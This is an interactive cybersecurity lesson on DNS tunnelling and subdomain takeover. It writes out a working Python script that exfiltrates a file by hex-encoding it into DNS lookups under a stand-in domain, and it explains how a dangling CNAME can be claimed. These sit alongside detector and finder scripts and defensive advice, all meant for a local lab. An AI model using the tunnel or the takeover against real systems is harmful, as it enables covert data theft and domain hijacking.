Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

DNS tunnelling and subdomain takeover

After this lesson: I can find DNS tunnelling and dangling records in my own lab's DNS data.

75 min lesson14 commandsDHCP and DNS lab: configure dnsmasq for a small network in your browser

A quick check that you are not a bot, then your own lab opens on the interactive lesson.

Already have an account? Sign in

Data hidden in the names computers look up

DNS tunnelling hides data inside DNS lookups, and subdomain takeover uses a DNS record that points at something deleted. Both abuse DNS rather than break it.

They matter because almost every network lets DNS out, and almost every organisation has old records nobody checks.

By the end of this lesson

Note

I can find DNS tunnelling and dangling records in my own lab's DNS data.

Key words

WordWhat it meansExample
Labelone part of a name between dotswww
DNS tunnellingcarrying data inside DNS queries and answers
Query logthe list of names a DNS server was asked for
Dangling recorda DNS record that points at something deleted
Subdomain takeoverclaiming the deleted thing a dangling record points at

The cells students fill in are left blank in this preview.

Starter

Have a go

Starter

4 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Only your own lab

Warning

Everything here runs against your own lab copy and nothing else. Trying it on any real network or domain needs the owner's written permission. In the UK, doing it without permission is a crime under the Computer Misuse Act 1990.

Data can leave inside the names asked for

A program can turn a file into hex. It puts the hex in the first label of names under a domain its owner controls, such as 0-4c6162.t.example.com. Every resolver on the way passes the question on.

That is DNS tunnelling. It looks unlike normal lookups: long labels that look random, and a new name every time, all under one parent.

Worked example: normal and tunnelled names

NameFirst labelSeen before?
www.example.test3 letters, a wordYes, often
blog.example.test4 letters, a wordYes
0-4c6162206e6f74653a20746865206361.t.example.com34 characters, mostly hexNever: each is new

The cells students fill in are left blank in this preview.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Clear the old query log

Command
sudo rm -f /tmp/edlab-dns.log

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Write the zone and turn on the log

Command
mkdir -p mail && printf '%s\n' 'host-record=www.example.test,10.0.10.80' 'host-record=mail.example.test,10.0.10.25' 'cname=blog.example.test,www.example.test' 'cname=shop.example.test,old-shop.pages.example.com' 'log-queries' 'log-facility=/tmp/edlab-dns.log' > mail/hunt.conf

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Start a practice DNS server

Command
sudo dnsmasq --conf-file=$HOME/mail/hunt.conf --no-hosts --no-resolv --port=5306 --listen-address=127.0.0.1 --bind-interfaces --local=/test/ --local=/example.com/

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Make two normal lookups

Command
dig +short @127.0.0.1 -p 5306 www.example.test blog.example.test

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Write a note of your own

Command
mkdir -p mail && printf '%s\n' 'Lab note: the canteen till code is 4471 and the safe code is 9020.' > mail/note.txt

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Write the tunnel

Command
mkdir -p mail && printf '%s\n' 'import subprocess' 'import sys' '' 'data = open(sys.argv[1], "rb").read().hex()' 'size = 32' 'for at in range(0, len(data), size):' '    name = str(at // size) + "-" + data[at:at + size] + ".t.example.com"' '    subprocess.run(["dig", "+short", "@127.0.0.1", "-p", "5306", name], capture_output=True)' '    print(name)' > mail/tunnel.py

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Send the note out through DNS

Command
python3 mail/tunnel.py mail/note.txt

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Write the detector

Command
mkdir -p mail && printf '%s\n' 'import sys' '' 'names = {}' 'for line in open(sys.argv[1]):' '    words = line.split()' '    if len(words) > 6 and words[4].startswith("query["):' '        name = words[5].lower()' '        parent = name.partition(".")[2]' '        if parent not in names:' '            names[parent] = []' '        names[parent].append(name)' 'for parent in names:' '    found = names[parent]' '    longest = 0' '    for name in found:' '        longest = max(longest, len(name.split(".")[0]))' '    unique = len(set(found))' '    mark = "  <- ALERT" if longest > 24 and unique > 3 else ""' '    print(parent.ljust(16) + " queries=" + str(len(found)) + " unique=" + str(unique)' '          + " longest=" + str(longest) + mark)' > mail/detect.py

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Look for tunnelling in the log

Command
sudo python3 mail/detect.py /tmp/edlab-dns.log

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

A record left behind can be claimed

The college once ran its shop on a hosting service, with shop.example.test as a CNAME for old-shop.pages.example.com. The shop was deleted, but the CNAME was not.

That is a dangling record. Anyone who creates old-shop on that service controls what shop.example.test shows. That is a subdomain takeover.

Ask for the shop's name

Command
dig +noall +answer @127.0.0.1 -p 5306 shop.example.test

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Ask for what it points at

Command
dig @127.0.0.1 -p 5306 old-shop.pages.example.com | grep status

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Write the dangling record finder

Command
mkdir -p mail && printf '%s\n' 'import subprocess' 'import sys' '' '' 'def dig(*args):' '    out = subprocess.run(["dig", "@127.0.0.1", "-p", "5306"] + list(args),' '                         capture_output=True, text=True).stdout' '    return out' '' '' 'for name in sys.argv[1:]:' '    target = dig("+short", name, "CNAME").strip().rstrip(".")' '    if not target:' '        print(name + ": no CNAME")' '        continue' '    status = dig(target, "A").split("status: ")[1].split(",")[0]' '    mark = "  <- DANGLING" if status == "NXDOMAIN" else ""' '    print(name + " -> " + target + ": " + status + mark)' > mail/dangling.py

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Check three names

Command
python3 mail/dangling.py www.example.test blog.example.test shop.example.test

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

What the detector and the finder printed

ScriptLineMeaning
detect.pyexample.test queries=2 unique=2 longest=4Normal lookups
detect.pyt.example.com queries=5 unique=5 longest=34 <- ALERTFive new long labels: the note
dangling.pyblog.example.test -> www.example.test: NOERRORThe target exists
dangling.pyshop.example.test -> old-shop.pages.example.com: NXDOMAIN <- DANGLINGNothing is there: it can be claimed

The cells students fill in are left blank in this preview.

A common mistake

Warning

Many people think a name that answers NXDOMAIN is harmless. For a CNAME target, it means the slot is free for anyone to claim. Delete the CNAME first, then the thing it points at.

Fixing and watching for both

Against tunnelling, let clients use only your own resolvers and log every query. Alert on long labels and many new names under one parent, as the detector did.

Against takeover, keep a list of every record and what it points at. Remove a record before the service behind it, and check every CNAME target on a schedule, as the finder did.

Stop the practice server

Command
sudo pkill -f '[-]-port=5306'

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Assignment: hunt in DNS data

Write two checks a security team runs on DNS data.

suspects(queries, max_label, max_unique) groups a list of names by their parent (everything after the first label), in lower case. A parent is a suspect when the longest first label under it is longer than max_label and it has more than max_unique different names. Return the suspects sorted.

dangling(cnames, existing) takes a dictionary from a name to its CNAME target and a list of names that resolve. Return, sorted, the names whose target is not in the list, comparing in lower case and ignoring a final dot.

Code: python
def suspects(queries, max_label, max_unique):
    return []


def dangling(cnames, existing):
    return []

Make a free account to save your work and track your progress.

Exit quiz

Have a go

Exit quiz

5 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Teaching a class? Set this module for your students with a teacher guide, marked assignments and a lab for every student.